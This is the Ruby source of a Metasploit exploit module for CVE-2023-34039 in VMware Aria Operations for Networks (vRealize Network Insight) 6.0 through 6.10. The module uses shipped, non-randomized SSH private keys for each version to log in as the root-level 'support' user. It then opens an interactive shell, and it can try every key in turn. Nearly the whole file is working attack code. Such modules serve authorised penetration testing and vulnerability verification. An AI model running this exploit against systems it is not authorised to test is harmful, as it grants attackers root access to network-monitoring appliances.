171 lines
7.8 KiB
Ruby
171 lines
7.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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require 'net/ssh/command_stream'
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class MetasploitModule < Msf::Exploit::Remote
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::SSH
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Rank = ExcellentRanking
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def initialize(info = {})
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super(
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update_info(
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info,
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{
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'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',
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'Description' => %q{
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VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0
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do not randomize the SSH keys on virtual machine initialization. Since the key is easily
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retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [
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[ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],
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[ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],
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[ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],
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[ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],
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[ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],
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[ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],
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[ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],
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[ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],
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[ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],
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[ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],
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[ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],
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[ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],
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[ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],
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[ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],
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[ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],
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[ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],
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[ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],
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[ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],
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[ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],
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[ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],
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[ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],
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[ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],
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[
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'All', {} # built later
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],
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],
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'Payload' => {
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find'
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}
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},
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'Author' => [
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'h00die', # MSF module
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'SinSinology', # PoC
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'Harsh Jaiswal (@rootxharsh)', # Discovery
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'Rahul Maini (@iamnoooob)' # Discovery
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2023-34039'],
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['URL', 'https://github.com/sinsinology/CVE-2023-34039'],
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['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],
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['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],
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],
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'DisclosureDate' => '2023-08-29',
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'DefaultTarget' => 22,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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}
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)
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)
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])
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]
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)
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end
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# helper methods that normally come from Tcp
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user, key_data)
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opt_hash = ssh_client_defaults.merge({
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auth_methods: ['publickey'],
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port: rport,
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key_data: [ key_data ]
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})
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opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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end
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rescue Rex::ConnectionError
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print_error "#{rhost}:#{rport} SSH - Unable to connect"
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return nil
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return nil
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return nil
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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return nil
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return nil
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end
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if ssh_socket
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# Create a new session from the socket, then close it.
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conn = Net::SSH::CommandStream.new(ssh_socket)
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ssh_socket = nil
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return conn
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end
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nil
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end
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def exploit
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if target.name == 'All'
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keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }
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else
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keys = [target.opts['key']]
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end
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keys.each do |key|
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vprint_status("Attempting key: #{key}")
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key_data = File.read(key, mode: 'rb')
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conn = do_login('support', key_data)
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next unless conn
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print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"
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handler(conn.lsock)
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break if datastore['STOP_ON_SUCCESS']
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end
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end
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end
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